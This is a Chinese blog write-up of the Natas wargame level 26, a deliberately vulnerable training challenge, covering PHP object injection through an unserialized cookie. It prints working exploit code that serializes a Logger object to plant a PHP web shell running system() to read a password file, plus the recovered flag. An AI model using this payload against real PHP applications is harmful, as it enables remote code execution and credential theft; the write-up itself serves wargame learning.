zoukankan      html  css  js  c++  java
  • Natas Wargame Level26 Writeup(PHP对象注入)

    ##源码:
    <?php
        // sry, this is ugly as hell.
        // cheers kaliman ;)
        // - morla
        
        class Logger{
            private $logFile;
            private $initMsg;
            private $exitMsg;
          
            function __construct($file){
                // initialise variables
                $this->initMsg="#--session started--#
    ";
                $this->exitMsg="#--session end--#
    ";
                $this->logFile = "/tmp/natas26_" . $file . ".log";
          
                // write initial message
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$initMsg);
                fclose($fd);
            }                       
          
            function log($msg){
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$msg."
    ");
                fclose($fd);
            }                       
          
            function __destruct(){
                // write exit message
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$this->exitMsg);
                fclose($fd);
            }                       
        }
     
        function showImage($filename){
            if(file_exists($filename))
                echo "<img src="$filename">";
        }
    
        function drawImage($filename){
            $img=imagecreatetruecolor(400,300);
            drawFromUserdata($img);
            imagepng($img,$filename);     
            imagedestroy($img);
        }
        
        function drawFromUserdata($img){
            if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            
                $color=imagecolorallocate($img,0xff,0x12,0x1c);
                imageline($img,$_GET["x1"], $_GET["y1"], 
                                $_GET["x2"], $_GET["y2"], $color);
            }
            
            if (array_key_exists("drawing", $_COOKIE)){
                $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
                if($drawing)
                    foreach($drawing as $object)
                        if( array_key_exists("x1", $object) && 
                            array_key_exists("y1", $object) &&
                            array_key_exists("x2", $object) && 
                            array_key_exists("y2", $object)){
                        
                            $color=imagecolorallocate($img,0xff,0x12,0x1c);
                            imageline($img,$object["x1"],$object["y1"],
                                    $object["x2"] ,$object["y2"] ,$color);
                
                        }
            }    
        }
        
        function storeData(){
            $new_object=array();
    
            if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
                $new_object["x1"]=$_GET["x1"];
                $new_object["y1"]=$_GET["y1"];
                $new_object["x2"]=$_GET["x2"];
                $new_object["y2"]=$_GET["y2"];
            }
            
            if (array_key_exists("drawing", $_COOKIE)){
                $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            }
            else{
                // create new array
                $drawing=array();
            }
            
            $drawing[]=$new_object;
            setcookie("drawing",base64_encode(serialize($drawing)));
        }
    ?>
    
    <h1>natas26</h1>
    <div id="content">
    
    Draw a line:<br>
    <form name="input" method="get">
    X1<input type="text" name="x1" size=2>
    Y1<input type="text" name="y1" size=2>
    X2<input type="text" name="x2" size=2>
    Y2<input type="text" name="y2" size=2>
    <input type="submit" value="DRAW!">
    </form> 
    
    <?php
        session_start();
    
        if (array_key_exists("drawing", $_COOKIE) ||
            (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
            $imgfile="img/natas26_" . session_id() .".png"; 
            drawImage($imgfile); 
            showImage($imgfile);
            storeData();
        }
        
    ?>
    

    主要知识点参见 PHP Object Injection(PHP对象注入)

    思路上的问题:

    了解PHP对象注入后,不知道该如何回显,以为这里没有eval和system等能够执行命令的语句(序列化又只能传入键值对(字符串而非执行语句))。其实很简单,这里不需要服务器端在解析的时候回显flag,我们只需要在能够访问的文件夹(imag)下建立一个shell(fuck.php)(路径可以用字符串表示传入),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!

    生成序列化的注入实体时犯的错误:

    <?php
        class Logger{      
            function __construct($file){
                $this->initMsg="<? 
    
    system('cat /etc/natas_webpass/natas27'); ?>
    
    ";
                $this->logFile = "img/fuck3.php";
    	    $this->exitMsg ="<? 
    
    system('cat /etc/natas_webpass/natas27'); ?>
    
    ";
            }                                           
        }
    print urlencode(base64_encode(serialize(new Logger('asd'))));
    ?>
    

    源码中声明Logger时进行了访问控制(三个属性全部私有),如果不加private的话是默认公有的,生成的序列化字节串会不匹配,要注意这一点,数据类型一定要匹配。(另外,序列话字节串只能保存键值对,无法保存对象中的方法定义)。

    正确做法:

    <?php
        class Logger{      
    	private $logFile;
            private $initMsg;
            private $exitMsg;
            function __construct($file){
                $this->initMsg="<? 
    
    system('cat /etc/natas_webpass/natas27'); ?>
    
    ";
                $this->logFile = "img/fuck3.php";
    	    $this->exitMsg ="<? 
    
    system('cat /etc/natas_webpass/natas27'); ?>
    
    ";
            }                                           
        }
    print urlencode(base64_encode(serialize(new Logger('asd'))));
    ?>
    

    ps:其实还有个小问题,当前路径就写“img/....”即可,当时脑袋抽写成了"/imag/...."

    然后访问img/fuck.php这个shell即可得到flag。

    flag:**55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ **

  • 相关阅读:
    【leetcode】1295. Find Numbers with Even Number of Digits
    【leetcode】427. Construct Quad Tree
    【leetcode】1240. Tiling a Rectangle with the Fewest Squares
    【leetcode】1292. Maximum Side Length of a Square with Sum Less than or Equal to Threshold
    【leetcode】1291. Sequential Digits
    【leetcode】1290. Convert Binary Number in a Linked List to Integer
    【leetcode】1269. Number of Ways to Stay in the Same Place After Some Steps
    【leetcode】1289. Minimum Falling Path Sum II
    【leetcode】1288. Remove Covered Intervals
    【leetcode】1287. Element Appearing More Than 25% In Sorted Array
  • 原文地址:https://www.cnblogs.com/liqiuhao/p/6901620.html
Copyright © 2011-2022 走看看